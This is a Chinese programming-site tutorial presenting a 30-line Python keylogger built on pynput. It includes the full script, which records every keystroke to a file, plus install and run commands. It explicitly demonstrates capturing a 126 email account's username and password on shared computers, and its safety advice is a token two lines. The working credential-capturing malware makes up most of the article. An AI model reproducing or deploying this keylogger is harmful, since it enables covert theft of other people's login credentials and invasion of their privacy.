python只需30行代码就能记录键盘的一举一动
先看看效果
Like This↓
一、公共WiFi 公用电脑什么的
在我们日常在线上工作、玩耍时,不论开电脑、登录淘宝、玩网游
统统都会用到键盘输入
在几乎所有网站,例如淘宝、百度、126邮箱等等
为了保护用户信息
登录时,输入框都是不可见的。
但是,输入框都在界面上隐藏,让我们看不到,就能真正的确保万无一失吗?
二、键盘记录器
今天介绍一种,通过键盘记录的方法,获取用户通过键盘输入的所有信息。
并实现获取126邮箱的登录用户信息。
三、python代码实现
1、安装pynput模块
PS C:\WINDOWS\system32> pip install pynput Collecting pynput Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB) |████████████████████████████████| 99 kB 51 kB/s Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0) Installing collected packages: pynput Successfully installed pynput-1.7.2 PS C:\WINDOWS\system32>
2、脚本完整代码
# -*- coding:utf-8 -*- from pynput.keyboard import Key, Controller,Listener import time keyboard = Controller() keys=[] def on_press(key): string = str(key).replace("'","") def on_release(key): global keys string = str(key).replace("'","") keys.append('\r'+string) main_string = "".join(keys) print(main_string) if len(main_string)>15: with open('D:\keys.txt', 'a') as f: f.write(main_string) keys= [] with Listener(on_press=on_press,on_release=on_release) as listener: listener.join()
3、启动脚本
将脚本放置在电脑的某个路径下,运行该程序;所有的键盘输入,都会被记录在相同目录下的keys.txt文档中。
PS D:\test> python .\keyRecord.py
4、登录126邮箱 抓取用户信息
在脚本运行状态下,登录126邮箱,可以看到,通过键盘输入的信息都被写入到了keys.txt文档中,包括用户名输完之后的tab按钮和确定enter登录按钮
四、安全提示
陌生WiFi不要随便连
陌生电脑不要随便用
emmmm~~~~
到此这篇关于python只需30行代码就能记录键盘的一举一动的文章就介绍到这了,更多相关python记录键盘内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
相关文章
dialog dismiss时键盘不消失的问题浅析及解决办法
这篇文章主要介绍了dialog dismiss时键盘不消失的问题浅析及两种解决方法,非常不错,具有参考借鉴价值,需要的朋友参考下2017-01-01解决Android Studio一直停留在MyApplication:syncing的问题
这篇文章主要介绍了Android Studio一直停留在MyApplication:syncing的完美解决方案,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下2020-10-10Android scrollview实现底部继续拖动查看图文详情
这篇文章主要为大家详细介绍了Android scrollview实现底部继续拖动查看图文详情,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2019-02-02Android Activity Results API代替onActivityResul
说到onActivityResult,我们已经非常熟悉来,通过在A activity启动B activity并且传入数据到B中,然后在A中通过onActivityResult来接收B中返回的数据。在最新的activity-ktx的beta版本中,谷歌已经废弃了onActivityResult2022-09-09Android之PreferenceActivity应用详解
为了引入这个概率 首先从需求说起 即:现有某Activity专门用于手机属性设置 那么应该如何做呢2012-11-11
最新评论